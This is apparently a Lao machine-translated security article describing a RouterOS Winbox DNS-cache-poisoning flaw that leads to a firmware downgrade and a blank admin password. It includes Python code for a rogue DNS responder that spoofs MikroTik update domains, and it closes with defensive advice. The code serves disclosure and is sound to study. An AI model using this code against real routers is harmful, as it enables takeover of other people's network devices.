ຊ່ອງໂຫວ່ Backport ໃນ RouterOS ເຮັດໃຫ້ຫຼາຍຮ້ອຍພັນອຸປະກອນມີຄວາມສ່ຽງ

ຄວາມສາມາດໃນການຫຼຸດລະດັບອຸປະກອນຈາກໄລຍະໄກໂດຍອີງໃສ່ RouterOS (Mikrotik) ເຮັດໃຫ້ອຸປະກອນເຄືອຂ່າຍຫຼາຍຮ້ອຍພັນມີຄວາມສ່ຽງ. ຊ່ອງໂຫວ່ແມ່ນກ່ຽວຂ້ອງກັບການເປັນພິດຂອງ DNS cache ຂອງໂປໂຕຄອນ Winbox ແລະຊ່ວຍໃຫ້ທ່ານສາມາດໂຫລດລ້າສະໄຫມ (ດ້ວຍການຕັ້ງລະຫັດຜ່ານໃຫມ່) ຫຼືແກ້ໄຂເຟີມແວໃສ່ອຸປະກອນ.

ລາຍລະອຽດຊ່ອງໂຫວ່

terminal RouterOS ສະຫນັບສະຫນູນຄໍາສັ່ງແກ້ໄຂສໍາລັບການຊອກຫາ DNS.

ການຮ້ອງຂໍນີ້ຖືກຈັດການໂດຍ binary ເອີ້ນວ່າຕົວແກ້ໄຂ. Resolver ແມ່ນໜຶ່ງໃນຫຼາຍຄູ່ທີ່ເຊື່ອມຕໍ່ກັບໂປຣໂຕຄໍ Winbox ຂອງ RouterOS. ໃນລະດັບສູງ, "ຂໍ້ຄວາມ" ທີ່ຖືກສົ່ງໄປຫາພອດ Winbox ສາມາດຖືກສົ່ງໄປຫາ binaries ຕ່າງໆໃນ RouterOS ໂດຍອີງໃສ່ໂຄງການເລກທີ່ອີງໃສ່ array.

ໂດຍຄ່າເລີ່ມຕົ້ນ, RouterOS ມີຄຸນສົມບັດເຊີບເວີ DNS ປິດໃຊ້ງານ.

ຢ່າງໃດກໍຕາມ, ເຖິງແມ່ນວ່າການເຮັດວຽກຂອງເຄື່ອງແມ່ຂ່າຍຖືກປິດໃຊ້ງານ, router ຮັກສາ DNS cache ຂອງຕົນເອງ.

ເມື່ອພວກເຮົາເຮັດການຮ້ອງຂໍໂດຍໃຊ້ winbox_dns_request ຕົວຢ່າງ example.com, router ຈະ cache ຜົນໄດ້ຮັບ.

ເນື່ອງຈາກພວກເຮົາສາມາດລະບຸເຄື່ອງແມ່ຂ່າຍ DNS ໂດຍຜ່ານທີ່ຄໍາຮ້ອງຂໍຄວນຈະໄປ, ການໃສ່ທີ່ຢູ່ທີ່ບໍ່ຖືກຕ້ອງແມ່ນເປັນເລື່ອງເລັກນ້ອຍ. ຕົວຢ່າງ, ທ່ານສາມາດກໍາຫນົດຄ່າການປະຕິບັດເຄື່ອງແມ່ຂ່າຍ DNS ຈາກ Philip Klausເພື່ອຕອບສະຫນອງສະເຫມີດ້ວຍບັນທຶກ A ທີ່ມີທີ່ຢູ່ IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

ຕອນນີ້ຖ້າທ່ານຄົ້ນຫາຕົວຢ່າງ.com ໂດຍໃຊ້ Winbox, ທ່ານສາມາດເບິ່ງວ່າ DNS cache ຂອງ router ໄດ້ຖືກເບື່ອ.

ແນ່ນອນ, ການເປັນພິດ example.com ແມ່ນບໍ່ມີປະໂຫຍດຫຼາຍນັບຕັ້ງແຕ່ router ຈະບໍ່ໃຊ້ມັນ. ຢ່າງໃດກໍຕາມ, ເຣົາເຕີຕ້ອງການເຂົ້າເຖິງ upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ແລະ download.mikrotik.com. ແລະຂໍຂອບໃຈກັບຄວາມຜິດພາດອີກອັນຫນຶ່ງ, ມັນເປັນໄປໄດ້ທີ່ຈະເປັນພິດໃຫ້ເຂົາເຈົ້າທັງຫມົດໃນເວລາດຽວ.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

router ຮ້ອງຂໍການອະນຸຍາດຫນຶ່ງ, ແລະພວກເຮົາໃຫ້ຫ້າຄືນ. router ບໍ່ cache ທັງຫມົດຂອງຄໍາຕອບເຫຼົ່ານີ້ຢ່າງຖືກຕ້ອງ.

ແນ່ນອນ, ການໂຈມຕີນີ້ຍັງເປັນປະໂຫຍດຖ້າ router ເຮັດຫນ້າທີ່ເປັນເຄື່ອງແມ່ຂ່າຍ DNS, ເນື່ອງຈາກວ່າມັນອະນຸຍາດໃຫ້ລູກຄ້າຂອງ router ຖືກໂຈມຕີ.

ການ​ໂຈມ​ຕີ​ນີ້​ຍັງ​ອະ​ນຸ​ຍາດ​ໃຫ້​ທ່ານ​ໃຊ້​ຄວາມ​ສ່ຽງ​ທີ່​ຮ້າຍ​ແຮງ​ກວ່າ​: downgrade ຫຼື backport ເວີ​ຊັນ​ຂອງ RouterOS​. ຜູ້ໂຈມຕີສ້າງເຫດຜົນຂອງເຊີບເວີອັບເດດ, ລວມທັງ changelog, ແລະບັງຄັບ RouterOS ຮັບຮູ້ເວີຊັນທີ່ລ້າສະໄຫມ (ມີຄວາມສ່ຽງ) ເປັນປະຈຸບັນ. ອັນຕະລາຍຢູ່ທີ່ນີ້ແມ່ນຢູ່ໃນຄວາມຈິງທີ່ວ່າເມື່ອສະບັບ "ປັບປຸງ", ລະຫັດຜ່ານຂອງຜູ້ເບິ່ງແຍງລະບົບຈະຖືກປັບເປັນຄ່າເລີ່ມຕົ້ນ - ຜູ້ໂຈມຕີສາມາດເຂົ້າສູ່ລະບົບດ້ວຍລະຫັດຜ່ານຫວ່າງເປົ່າ!

ການໂຈມຕີແມ່ນຂ້ອນຂ້າງເຮັດວຽກ, ເຖິງວ່າຈະມີຄວາມຈິງທີ່ວ່າ ຜູ້ຂຽນ ປະຕິບັດ vector ຫຼາຍ, ລວມທັງສິ່ງທີ່ກ່ຽວຂ້ອງກັບ ການຝັງ backdoor ເຂົ້າໄປໃນເຟີມແວ, ແຕ່ນີ້ແມ່ນເຕັກນິກທີ່ຊ້ໍາຊ້ອນແລ້ວແລະການນໍາໃຊ້ຂອງມັນສໍາລັບຈຸດປະສົງທີ່ບໍ່ຖືກຕ້ອງແມ່ນຜິດກົດຫມາຍ.

ການປ້ອງກັນ

ພຽງແຕ່ປິດການໃຊ້ງານ Winbox ຊ່ວຍໃຫ້ທ່ານສາມາດປົກປ້ອງຕົວທ່ານເອງຈາກການໂຈມຕີເຫຼົ່ານີ້. ເຖິງວ່າຈະມີຄວາມສະດວກໃນການບໍລິຫານຜ່ານ Winbox, ມັນດີກວ່າທີ່ຈະໃຊ້ໂປໂຕຄອນ SSH.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com